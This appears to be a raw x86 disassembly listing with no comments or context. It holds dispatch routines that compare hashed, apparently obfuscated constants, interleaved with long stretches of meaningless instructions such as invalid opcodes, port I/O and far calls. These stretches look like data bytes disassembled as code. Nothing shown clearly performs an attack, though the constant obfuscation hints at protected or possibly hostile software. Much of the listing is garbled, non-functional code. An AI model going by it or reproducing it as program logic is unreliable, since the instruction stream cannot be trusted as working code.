cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x9daf8
or eax, dword [ebp - 0x64]
je 0x687ce980
mov edx, 0x9daf8
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x9910e
or eax, dword [ebp - 0x64]
je 0x687cd4c0
mov edx, 0x9910e
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x922b4
or eax, dword [ebp - 0x64]
je 0x687cdf20
mov edx, 0x922b4
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x63841
or eax, dword [ebp - 0x64]
je 0x687d1d60
mov edx, 0x63841
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x55b87
or eax, dword [ebp - 0x64]
je 0x687cfe40
mov edx, 0x55b87
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x49a59
or eax, dword [ebp - 0x64]
je 0x687cab40
mov edx, 0x49a59
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x494eb
or eax, dword [ebp - 0x64]
je 0x687d08a0
mov edx, 0x494eb
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x46b46
or eax, dword [ebp - 0x64]
je 0x687c9680
mov edx, 0x46b46
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x28787
or eax, dword [ebp - 0x64]
je 0x687cc000
mov edx, 0x28787
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x687d1d5d
mov eax, dword [ebp - 0x68]
xor eax, 0x15b42
or eax, dword [ebp - 0x64]
je 0x687cb5a0
mov eax, dword [ebp - 0x68]
xor eax, 0x24cee
or eax, dword [ebp - 0x64]
je 0x687d1300
jmp 0x687d1d5d
lds ecx, [edi]
popal
pop ecx
sar esp, 0x68
retf 0x8cfa
retf
sbb al, 0x52
xchg byte [esi - 0x4b], cl
cmovo ebp, dword [esp + edi*2 + 9]
jo 0x687c96b8
pop ebp
sub eax, 0x1dcb1806
wait
cdq
xlatb
out dx, al
sar byte [edi + 0x28], cl
lds ebx, [edi - 0x2b]
cmp bl, 0x7f
sahf
jne 0x687c96e2
jo 0x687c9633
mov ebx, 0x5ae1b6f
into
sbb edi, esp
inc ebp
shl eax, 0x82
xchg edx, eax
pop es
cmp ecx, dword [ebx]
invalid
invalid
and cl, byte [si + 0x528b]
fmul dword [ebp + 0x182467da]
push 0x1c874168
mov edi, 0x1cfb42ce
ret
mov eax, dword [0x67744e82]
inc ebx
mov ebx, 0xae5d29cd
int3
pop eax
bound esi, qword [eax + 0x20]
push esi
sbb al, byte [ebx - 0x25bd6298]
pop edi
mov ah, 0x40
xor ecx, edx
daa
jne 0x687cb5ed
mov dword [0x3cef37da], eax
cmp esp, edx
salc
clc
pop ebp
enter 0x46c4, 0x4c
daa
push ss
dec eax
push 0x6f
jp 0x687cb5ed
wait
ret 0xc0fe
and byte [ebp - 0x5b81110c], 3
add ecx, esi
inc edi
push 0x5253481e
aad 0xe7
arpl ax, dx
invalid
mov eax, 0x8f8f68da
jge 0x687cc02d
xchg edi, eax
invalid
add eax, 0xb656d06f
sub bh, byte [eax + edi + 0x24]
test byte [edi + edx*8 + 0x5bf3a95b], ch
push ds
cli
int1
and eax, eax
mov al, byte [0xa1b8d243]
imul ecx, dword [ebx], 0xffffff8e
push 0x6c9e0bfe
invalid
cmpsb byte [esi], byte es:[edi]
sbb ebx, eax
inc ebx
movntps xmmword [ebx + 0x2cb7f2e5], xmm6
clc
into
mov cl, 0x62
xchg dword [ecx], eax
popal
mov esp, 0x23e65cad
jecxz 0x687cca3d
cmp eax, 0xe25b5159
jbe 0x687cca86
fstp xword [ebp + 0x22]
loopne 0x687cca2f
in al, 0x67
into
or al, byte [edi]
outsd dx, dword [esi]
push ds
fisttp qword [esi + 0x1b14b2f6]
enter 0xd8d, 0xffffffffffffffbf
sbb eax, 0xab446889
invalid
stosd dword es:[edi], eax
or dword [esi], ecx
xor dword [edi - 0x2d], esi
stosb byte es:[edi], al
rcl byte [edx - 0x68425a62]
xchg esi, eax
cld
nop
int3
aas
js 0x687cca0e
dec edx
pushfd
mov dword [0x21ac423c], eax
int 0x64
retf 0x76e8
aas
in al, dx
add al, 0xf0
mov ah, 0xfc
xchg ebp, eax
cmp dword [ebx - 0x6d], edx
js 0x687cca4a
js 0x687ccb07
je 0x687ccaa3
idiv byte [esi]
int 0x63
push 0x9b89c78a
sub byte [ecx*8 - 0x3d4db89c], bh
int 0x64
inc edi
mov dl, 0xc2
xor al, 0xf9
and esp, esp
fisub dword [esi]
leave
rcl eax, 1
cmp byte [ebx], ch
lodsb al, byte [esi]
inc ebx
les ecx, [ecx]
dec eax
xchg byte [ebp - 0x47b557b3], al
in al, 0x98
jae 0x687cca9a
or edi, dword [eax]
std
pushfd
pushal
adc byte [esi + 0x638eaf1e], cl
enter 0x1bba, 0x32
stosb byte es:[di], al
add ebx, dword [edx]
sbb edi, esp
cmp bl, 0xef
push ebp
and al, byte [ebx]
lcall 0x8eb4, 0xea782872
leave
ljmp 0x4c07
sbb ebp, esp
hlt
mov word [ecx + esi*4 - 0x7a], cs
adc cl, 0x6e
sbb al, 0x5a
mul dword [esi - 0x4435bfee]
add byte [eax - 0x7c], bl
mov cl, 0x6a
test byte [esi - 0x7f7e860b], dh
and ah, byte [edi + 0x2e5022c6]
cmp eax, 0x60c407cd
add ecx, dword [ecx]
movsx esp, word [edx + 0xf702c72]
rcr byte [edi - 0x65dacce2], cl
les esp, [eax + 3]
or dword [edi], ecx
mov edi, 0x702c72a2
psrld mm3, qword [edi - 0x65dacce2]
sbb byte [eax], dh
xor ch, byte [ebp + 0x38]
scasb al, byte es:[edi]
sub al, 0x10
push edx
xor al, 0xe5
push edx
aad 3
sub byte [ebp - 0x2c], al
rcl byte [edx + 0x155a21c]
mov edx, dword [ebx]
out dx, eax
aad 0x59
mov edx, 0x9e06b51
jp 0x687cd4e3
scasb al, byte es:[edi]
ljmp 0x86d5
cmp eax, 0xd705b2d
inc esi
xchg esp, eax
xor cl, byte [ebx - 0x3e]
and ecx, dword [ecx + 0x3c]
adc al, 0xb0
mov eax, es
in eax, 0xc2
adc ecx, dword [0xd30bf509]
cmp byte [edx - 0x57], cl
jae 0x687cdf77
iretd
add dword [eax + 0x636a9ab9], 0xe50c40de
fcompi st(1)
or al, 0xa
jecxz 0x687cdfd2
add byte [ecx], cl
test al, 0x4f
int3
sbb eax, 0x2ed2317c
and esi, ecx
popal
invalid
imul dword [ecx]
int3
retf 0x3779
xchg ecx, eax
push edi
dec edi
wait
pushal
and ch, dl
nop
jbe 0x687cfe37
dec ebx
in al, 0x55
mov al, byte [0xcff6d18f]
das
das
mov ecx, 0xea6efc7
mov ecx, 0xe931c4d7
popfd
imul ebp, dword [ecx - 0x726cd30e], 0xfd71088
adc ebp, edi
fnstsw word [ebp + 0x35b6c40f]
invalid
fdiv qword [edx]
mov ds, word [edx]
sub al, 0x49
xor eax, 0x76c40747
rol byte [ebx - 0x54936f4f], cl
js 0x687cfe05
cmc
invalid
and byte [edx + 0x30], 0x8e
and al, 0xe8
jbe 0x687d08d3
dec esp
wait
std
rcl dword [ebp - 0x5f], cl
xchg ebx, eax
shl byte [0x9fe3c92], 1
into
add dword [ebx], 0x4b
lodsb al, byte [esi]
sub byte [esi], dh
sbb ch, dl
sub al, 0xfe
xchg edi, eax
imul esp, dword [esi + 0x51], 0xb6ed98e1
sbb byte [ecx], al
mov bh, 0x9a
push es
dec edi
xchg edi, eax
shl al, 0x6c
and al, 0x55
outsb dx, byte [esi]
pop ebx
enter 0x597d, 0x74
out dx, al
je 0x687d0879
fiadd dword [ebx + 0x6fe751fc]
and al, 0xb0
das
jbe 0x687d08b1
xor byte [eax - 0x16336fab], 0xc1
adc al, 0
add ch, ch
in eax, dx
cdq
cli
inc ebp
lcall 0xa6cb, 0xf206764b
lahf
jae 0x687d084f
cli
and eax, 0x509af242
jl 0x687d08f2
inc edx
lcall 0x3da4, 0xc83b7c50
invalid
enter 0x3da4, 0xffffffffffffff8f
popal
dec ebx
or al, 0x27
mov dword [0x7eb30a93], eax
in eax, 0x65
xchg ebp, eax
inc esp
xchg cl, bl
sub eax, 0xda76d975
retf 0xd62
adc al, 0x8a
lodsd eax, dword [esi]
mov edi, 0x2e7686d8
xor eax, 0x820f0e8d
inc eax
out 0xf2, al
jecxz 0x687d08d7
fadd dword [esi - 0x72cad18a]
push cs
jb 0x4c6fef24
daa
daa
or ch, ch
dec eax
inc esp
cmp ch, byte [ebx - 0x1c]
rol edi, 0x42
adc al, 0x5b
in al, 0x9a
push ecx
dec esi
je 0x687d0889
mov esi, 0xf797ac0a
sbb dl, byte [edx - 0x4a6a58f1]
inc edx
lahf
fiadd dword [ebx - 0x43b65ff4]
xlatb
imul edx, dword [0x5aa708d7], 0xaf4f56a
mov bl, byte [ecx - 0x2f8e3bb1]
nop
pop ebp
in eax, dx
mov ss, edi
push 0x2b3de92d
test bl, dh
lodsd eax, dword [esi]
inc esp
xlatb
push cs
and byte [ecx - 0x4a18b13], dh
xor dh, byte [edx]
and esp, dword [ebx + 0x1a8f983c]
hlt
pop ss
mov esp, 0x9d489fd2
out dx, eax
sbb al, 0x2d
setl byte [esi + eax*4 + 0x11]
scasb al, byte es:[edi]
les esi, [edi + 0x68ecc7f8]
psraw mm3, mm6
pop esi
test eax, 0x62e5cc74
or ebx, dword [ebx + 0x19]
je 0x687d1387
aad 0x69
mov edi, 0xfa7ea083
cmpsd dword [esi], dword es:[edi]
mov cs, edi
or cl, al
mov byte [ebx], 0xec
lodsb al, byte [esi]
cwde
push es
iretd
inc ebx
out dx, al
adc dword [ebp + 0x7d], edi
mov ch, 0x94
mov ch, 0xac
add byte [ecx - 0x48], al
in al, dx
dec ebx
stosd dword es:[edi], eax
inc eax
mov eax, 0x40ab4bec
sub ebx, dword [0x12868ac3]
jbe 0x687d1361
movsd dword es:[edi], dword [esi]
mov dword [0xd8c97758], eax
mov bh, byte [eax + ecx*8]
stosb byte es:[edi], al
rol byte [edx + 0x715c69aa], 1
and ecx, ebx
outsb dx, byte [esi]
jbe 0x687d13d0
iretd
mov fs, word [ecx - 2]
ror bh, 4
xor byte ss:[edx], 0x2a
inc ebx
sbb esi, dword [ebx + 0x35df3121]
sub ecx, ecx
push ebx
les esp, [esi + 0x35]
jno 0x687d1356
pop eax
push 0xb22c7aa4
int 5
cmp word [edx], sp
mov edx, 0x9f66a2b1
mov esi, 0x2095d1e5
ret 0x7fda
fadd st(0)
in eax, 0x1e
jmp 0xba2adeeb
nop
jmp 0x687d1d61
nop
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0xc], eax
jmp 0x687e8671
mov dword [ebp - 0x88], 0xca11
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0xb530d
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x84]
imul eax, dword [ebp - 0x90]
mov edx, eax
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x88]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x88]
mul dword [ebp - 0x90]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0xf048c5dd
mov edx, dword [ebp - 0x94]
xor edx, 8
or eax, edx
nop
mov eax, dword [ebp - 0xc]
sub eax, 8
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0x18]
cmp dword [ebp + 8], eax
jne 0x687dc7c6
mov dword [ebp - 0xc0], 0x43519
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xc8], 0xc7c7d
mov dword [ebp - 0xc4], 0
mov eax, dword [ebp - 0xbc]
imul eax, dword [ebp - 0xc8]
mov edx, eax
mov eax, dword [ebp - 0xc4]
imul eax, dword [ebp - 0xc0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xc0]
mul dword [ebp - 0xc8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
mov eax, dword [ebp - 0xd0]
xor eax, 0x88f20935
mov edx, dword [ebp - 0xcc]
xor edx, 0x34
or eax, edx
je 0x687dc7b4
mov edx, 0x88f20935
mov eax, 0x34
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xe4099
or eax, dword [ebp - 0xcc]
je 0x687d6a57
mov edx, 0xe4099
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xce85e
or eax, dword [ebp - 0xcc]
je 0x687d8977
mov edx, 0xce85e
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xc4454
or eax, dword [ebp - 0xcc]
je 0x687d4b37
mov edx, 0xc4454
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xb3fd7
or eax, dword [ebp - 0xcc]
je 0x687dbd57
mov edx, 0xb3fd7
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xaef14
or eax, dword [ebp - 0xcc]
je 0x687d2c17
mov edx, 0xaef14
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xade66
or eax, dword [ebp - 0xcc]
je 0x687d40d7
mov edx, 0xade66
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xaa2b8
or eax, dword [ebp - 0xcc]
je 0x687d93d7
mov edx, 0xaa2b8
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0xa6b7c
or eax, dword [ebp - 0xcc]
je 0x687db2f7
mov edx, 0xa6b7c
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0x81733
or eax, dword [ebp - 0xcc]
je 0x687d5597
mov edx, 0x81733
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0x5b463
or eax, dword [ebp - 0xcc]
je 0x687d3677
mov edx, 0x5b463
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0x57f9e
or eax, dword [ebp - 0xcc]
je 0x687da897
mov edx, 0x57f9e
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0x4e1a5
or eax, dword [ebp - 0xcc]
je 0x687d21b7
mov edx, 0x4e1a5
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0x4aefc
or eax, dword [ebp - 0xcc]
je 0x687d74b7
mov edx, 0x4aefc
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0x4992f
or eax, dword [ebp - 0xcc]
je 0x687d9e37
mov edx, 0x4992f
mov eax, 0
cmp edx, dword [ebp - 0xd0]
sbb eax, dword [ebp - 0xcc]
jl 0x687dc7b7
mov eax, dword [ebp - 0xd0]
xor eax, 0x17f71
or eax, dword [ebp - 0xcc]
je 0x687d5ff7
add byte [ebx], cl
test dword [edi + edi*8], esi
invalid
mov eax, dword [ebp - 0xd0]
xor eax, 0x4055f
or eax, dword [ebp - 0xcc]
je 0x687d7f17
jmp 0x687dc7b7
das
xchg ebp, eax
jecxz 0x687d21e6
imul esi, dword [edi - 0x55], 0x7a
popfd
ja 0x687d2207
in eax, 0x9f
sahf
into
popal
lahf
pop es
cmpsb byte [esi], byte es:[edi]
sbb edx, esi
push ebx
jl 0x687d21d2
out dx, eax
iretd
inc ebx
sub byte [edi - 0x284c867e], 0xc2
enter 0x715a, 0xffffffffffffffd2
inc esp
push es
psraw mm0, qword ss:[ebp + 0x6984a375]
lodsb al, byte [esi]
test byte [ecx - 0x54], ch
cld
rol byte [ebp - 0x7739021d], 1
adc ebp, dword [edi - 0x4d6363bf]
push ebp
std
jge 0x687d2264
cli
pop edi
das
test eax, 0xfac9450c
mov ebp, 0x49b2b42c
or al, 0xd3
loopne 0x687d218e
cmp edx, eax
add dword [ecx + 0x65], 4
sub dword [ecx], 0x32
or dword [esi + 0x3a], edx
into
add al, 0x1b
push edi
hlt
inc ebp
adc ecx, edx
jp 0x687d2298
nop
cmc
xlatb
retf 0x92eb
push es
fcomp qword [esi + 0x68]
mov byte [edx + 0x3c], cl
xchg esi, eax
pop ecx
wait
and al, 0xd
cmpsd dword [esi], dword es:[edi]
scasb al, byte es:[edi]
jge 0x687d2291
mov dh, byte ds:[ebp - 0x336f81f5]
insb byte es:[edi], dx
dec ebx
pop edi
xchg byte [0xe0b5fe1], ah
mov edx, 0x429b23b0
lea ebx, [ebx - 0x36]
jbe 0x687d22dd
fstpnce st(1), st(0)
mov ebx, 0xa8146027
xor ah, bh
aas
mov byte [edi - 0x67ca0683], ah
push ebp
jb 0x687d2267
sub dword [edi + 4], edi
clc
jbe 0x687d22b6
cmpsd dword [esi], dword es:[edi]
mov cs, esp
push ds
xchg edi, eax
test al, 0xa2
aam 0xf2
dec esp
dec esp
mov ah, 0xa0
add edx, ebx
cwde
in al, dx
mov esp, 0xbe4b8d0b
aaa
rol dword [esi + ecx - 0x6c], 1
int 0xca
enter 0x4e4d, 0xffffffffffffffac
pushfd
out dx, eax
sub esi, edx
cld
cwde
mov dword [edi + 3], edi
push 0xe
sbb eax, 0x498d9ecc
sahf
int 0x49
adc al, byte [ecx + 0x22]
inc edi
mul byte [ebp - 0x33e066da]
outsd dx, dword [esi]
aad 0xea
daa
lahf
xchg esi, eax
fimul dword [esi - 0x36]
test al, 0x6c
cdq
xor eax, 0x68cb60aa
add al, 0x12
cmpsb byte [esi], byte es:[edi]
sub cl, byte [edi - 0x2c]
jle 0x687d231e
cmp ah, byte [edi - 0x23]
insd dword es:[edi], dx
aas
sahf
insd dword es:[edi], dx
out dx, eax
pushfd
mov ebp, 0x2f6b1838
nop
fadd st(6)
jo 0x687d2363
retf
sbb al, 0x52
imul ebp, ebp, 0x3890af06
cmpsd dword [esi], dword es:[edi]
sbb al, dl
jbe 0x687d23c3
invalid
dec esi
int 0x22
sbb eax, 0xbbeea331
shr dword [0xce3d5561], 0xb7
je 0x687d2427
push esi
int 0x11
inc eax
mov esi, 0x72434966
aad 0xf5
jp 0x687d23ec
sti
outsd dx, dword [esi]
mov eax, 0xf6fe5280
cmp al, 0x99
insb byte es:[edi], dx
xor al, 0xed
sar dword [eax - 0x12], 0x95
jl 0x687d2468
div byte [edx]
pop esp
std
inc eax
pop ss
pop es
invalid
popal
sbb byte [eax + 0x1e6bab76], ch
mov bh, byte [ebx - 0x22de4395]
lcall 0x3729, 0xba2210c5
cdq
aaa
mov esp, 0xc59add21
adc byte [edx], ah
mov edx, 0x37993729
wait
sub al, 0x3a
cmc
xor dword [edx + 0x1e1bd4a1], esi
mov cl, 0xc1
les edi, [esi + 0x4883213e]
ja 0x687d2431
push esp
movsb byte es:[edi], byte [esi]
ret 0x267d
cwde
pop ecx
out 0xb4, eax
retf 0xe885
pop edx
test ch, ch
ljmp 0x5eb5
jmp 0x687dc7b8
je 0x687d2bc3
imul esp, dword [ebx], 0x66
cmp eax, dword [ebx]
xchg edi, eax
loopne 0x687d2c12
ljmp 0x8f4d:0xe97e
int 0xdf
cli
div dword [esi]
adc eax, 0x9b9103a0
stosb byte es:[edi], al
sahf
lea edx, [eax + 0x444533d5]
imul ebp, dword [esi], 0xffffffc3
adc ch, byte [ecx - 0x1f]
invalid
fistp qword [edx]
invalid
loop 0x687d402e
mov ebx, 0xea328266
hlt
jp 0x687d4073
in eax, dx
xchg esp, eax
ret 0x6eaf
mov ebx, 0xb5682fb1
xlatb
xchg dword [edx + 0x40d1d34], edi
int 0xc1
into
jl 0x687d40a9
sbb eax, dword [esi - 0x352c3344]
xchg ebp, eax
jge 0x687d4164
shl byte [edi - 0x10], 0xe6
fidivr word [ebx]
jne 0x687d4133
mov ch, 0xd
pop ds
invalid
daa
xchg ebp, eax
dec edi
pop eax
jns 0x687d4195
out dx, eax
les esp, [edi + 0x6a89e5e8]
loop 0x687d4120
adc ch, ah
invalid
in eax, 0x8e
jp 0x687d4150
or dl, byte [ebx - 0x76ad5674]
mov byte [0xf7b6024d], al
cmp eax, 0xe75cdd6
push cs
mov ebp, 0xd9777bd1
xchg edx, eax
xchg esi, eax
int3
sub al, 0xf1
into
lds edi, [esi]
nop
xor eax, 0x7b630e8f
leave
arpl word [ebx - 0x37], di
xchg ebx, eax
cmp ch, 0x80
cli
pop ecx
jmp 0x687d4110
jae 0x687d4147
inc edx
inc ebp
fcmove st(0), st(5)
aam 0x86
mov al, byte [0x9b0e9dd0]
sub byte [ecx + ebx*8 + 0x1d6a663], dh
xchg dword [ecx + 0x4d], eax
lodsb al, byte [esi]
scasb al, byte es:[di]
sbb al, 0x51
and byte [edx + 5], ah
sbb dword [eax - 0x57], ecx
outsb dx, byte [esi]
out dx, al
xchg edi, eax
pushfd
scasb al, byte es:[edi]
retf 0xadee
pop eax
cmc
insd dword es:[edi], dx
mov bl, 0x9f
push ds
cdq
in eax, dx
push edi
or byte [ebx + 0x739c343c], al
pop ss
push ebp
jb 0x687d413d
cmp byte [ebp - 0x2eb60f1f], 0x65
pop esi
jns 0x687d421c
xor eax, 0xd2a6406c
push es
iretd
mov ecx, 0x7ef31ed4
push es
or esi, dword [ecx]
pop ss
sal byte [edi + 0xd], 0x73
cmpsb byte [esi], byte es:[edi]
or eax, 0xc61e3e72
sbb al, 0x96
iretd
add dword [edi - 0x49cd7e74], esp
cmp al, byte [edi]
test al, 0x7e
ja 0x687d41f8
invalid
push 0xffffffffffffff83
loop 0x687d4bb9
jno 0x687d4b89
sub eax, 0x85f703d0
aas
sub eax, 0x8f4142ce
mov ah, 0xef
salc
jbe 0x687d4b51
test dword [0x4d9981c4], 0x3efa2ae0
out dx, al
sbb dword [ecx - 0x5d51fb3], 0x78e7ee3e
dec ebp
loopne 0x687d4b80
cli
out dx, al
out 0x78, eax
mov eax, cs
dec edx
movsd dword es:[edi], dword [esi]
invalid
invalid
lcall 0x9919, 0xacfef592
push edi
pop ecx
push ecx
pushfd
xchg ebx, eax
imul eax, dword [esi], 0x78adf979
or dword [ebp + 0x692e090c], ebx
add cl, byte [ebx - 0x188b773a]
push edi
jnp 0x687d4b53
movsb byte es:[edi], byte [esi]
aad 0x37
sti
lodsd eax, dword [esi]
xchg byte [esi + eax*4 - 9], dh
invalid
wait
aaa
push esi
js 0x687d4b82
sbb eax, 0xe1498c26
in eax, dx
xor ah, byte [ebp + 0x7a]
cld
or eax, 0x76b66246
lahf
push esp
loope 0x687d4b5e
or al, 0x1f
mov dl, 0x1c
lcall 0x64fe, 0x5b6cc65d
sbb eax, 0xaf0047e5
sub esp, dword [edx]
and eax, 0xbd88d8fe
mov byte [0xf908abd9], al
int3
int3
test byte [ecx], al
dec ebx
and eax, 0xeb63f51d
out dx, al
push es
adc edi, dword [ecx + 0x13]
jnp 0x687d5591
insd dword es:[edi], dx
invalid
cwde
push esi
dec ebx
jae 0x687d5fdf
push esp
mov esi, 0x4f25b63b
ljmp 0xf31c
mov esi, 0x8ec11eb1
cmpsd dword gs:[esi], dword es:[edi]
or ecx, edx
xchg edx, eax
int 0x64
mov eax, dword [0x5cc733ce]
nop
int3
adc al, 0xa2
jae 0xae84562e
loop 0x687d5f95
push es
imul ebp, esi, 0x9bbd7a45
hlt
ret
xor dh, byte [eax - 0x5515fb74]
mov ebp, 0x59d072bd
out 0xa3, al
aam 0xd
push ebp
mov esp, 0x7d5d4690
pop edi
stosd dword es:[edi], eax
pop edx
sar dl, 1
add esp, dword [esi]
shr byte [ebp + 0x7e], cl
jmp 0xc713e9f6
and eax, 0xab6b6221
sub dword [esi + esi], edx
dec edi
lcall 0xf51c, 0x86ccca78
jno 0x687d7523
rcl byte [ebx + esi*4 - 0x336fed0f]
jmp 0x687dc7b8
in eax, 0x5f
mov bl, 0x9f
lodsd eax, dword [esi]
out dx, al
fistp dword [0x47795925]
mov byte [0x36bdc747], al
mov ebp, 0x1f64cf57
and al, 0xd6
mov bh, 0x76
jnp 0x687d750a
je 0x687d7471
aad 0x17
sbb ah, byte [eax - 0x6f]
mov cl, 0xf
int1
mov cl, 0x4f
ror dword [ebx - 0x52], cl
sub byte [ebx], ch
jmp 0x687d7499
sub ebp, ebx
mov bl, 0x4e
cmp dword [ecx - 0x22], edi
in al, 0x66
mov bh, 0xea
xor al, 0x77
jp 0x687d74e7
invalid
mov eax, 0x2d1cd39b
inc ebx
jae 0x687d74cf
mov al, 0xe0
mov al, byte [0x7d3b8343]
pop es
mov eax, dword [edi - 0x30]
mov word [edi], fs
movsd dword es:[edi], dword [esi]
test byte [0xec6e7853], 0x7e
or eax, esi
cmp al, 0xc4
out dx, al
les esi, [esi + 0x69ac2a44]
mov cl, 0x38
outsd dx, dword [esi]
cmp byte [edx], bl
lodsb al, byte [esi]
inc edx
push ebp
dec eax
js 0x687d7593
in al, dx
jle 0x687d7531
invalid
imul esi, dword [ecx + 0x1a386f38], 0x485542ac
add edi, dword [edi]
js 0x687d74e3
ror byte [ebp + 0x16048e50], cl
outsd dx, dword [esi]
into
cld
invalid
ficom dword [ecx - 0x64]
inc esp
retf
xchg ecx, eax
mov ecx, 0x1519bbd1
in al, 0x9a
adc dword [ebp + 0x76d99fc0], edi
inc edx
xchg esp, eax
pop ds
movsd dword es:[edi], dword [esi]
int1
adc eax, ecx
sbb bl, byte [ebx + esi*4]
aam 0x18
lodsd eax, dword [esi]
inc eax
mul byte [ecx + ebx*4 - 0x51]
mov esi, 0xca24124
int3
pushfd
jle 0x687d891d
outsd dx, dword [esi]
mov esp, 0xc4805472
and al, 5
adc eax, 0x75b87b1f
cmp cl, 0x1a
clc
sbb bh, al
mov ah, byte [edx + 0xb]
dec edi
mov eax, 0xa5ed60e1
shr bh, 0x66
adc eax, 0x2487639
mov al, byte [0x298ddbc8]
cwde
arpl word [edx - 0x39], bx
adc eax, 0xc6a7e68b
cmp ah, byte [esi - 0x741c3951]
pop esi
push eax
in eax, 0x8e
or ebx, dword [ebx - 0x28018ba0]
xchg ecx, eax
loop 0x687d8925
xchg edx, eax
test byte [edi - 0x22e29508], bl
outsd dx, dword [esi]
push edx
mov dword [esi - 0x568eb3fc], ebp
dec esp
jno 0x687d88bb
push edx
mov ds, word [edi]
sub cx, di
push 0xfbbbe504
or ebp, ebp
fsubr st(2)
lea eax, [eax - 0x66095b0f]
jns 0x687d890f
neg byte [ecx - 0x461a860d]
jno 0x687d89a1
mov ecx, 0x989f7471
je 0x687d88cd
lahf
cwde
lds ebx, [edx]
mov word [esi], fs
jl 0x687d8974
add ebp, dword [edx + 0x41efc6c5]
sti
shl byte [edx], cl
inc eax
not dword [edx + 0x33]
dec ebp
add eax, edi
and byte [ebp - 0x5cd08c66], 0x44
shl dword [ecx - 0x63], 0x5b
adc dword [edi - 0x3735cc3a], 0x54bde3a
push es
dec esp
sbb al, 0xb2
sbb eax, 0x178ec84c
cdq
inc edx
pushal
cmc
inc ebp
mov dword [edi + 0x5ca473dc], ebp
nop
int3
add byte ds:[eax], al
aas
inc ebp
mov byte [ebx], dl
xchg dword [ebx], eax
mov al, 0xf2
test eax, 0x8a6072d7
cmp dword [ecx], ecx
xor al, byte [ebx]
or al, 0xa8
ror byte [esi - 0x43], cl
push ebp
pop esi
mov edx, 0x776d6d65
xchg edx, eax
and ebx, edx
jb 0x687d892c
push cs
pop ecx
mov ch, dl
loope 0x687d89de
in al, 0xd8
or cl, ah
and al, 0xb2
pop ss
pop ecx
out dx, eax
xchg ebp, eax
adc byte [edx], cl
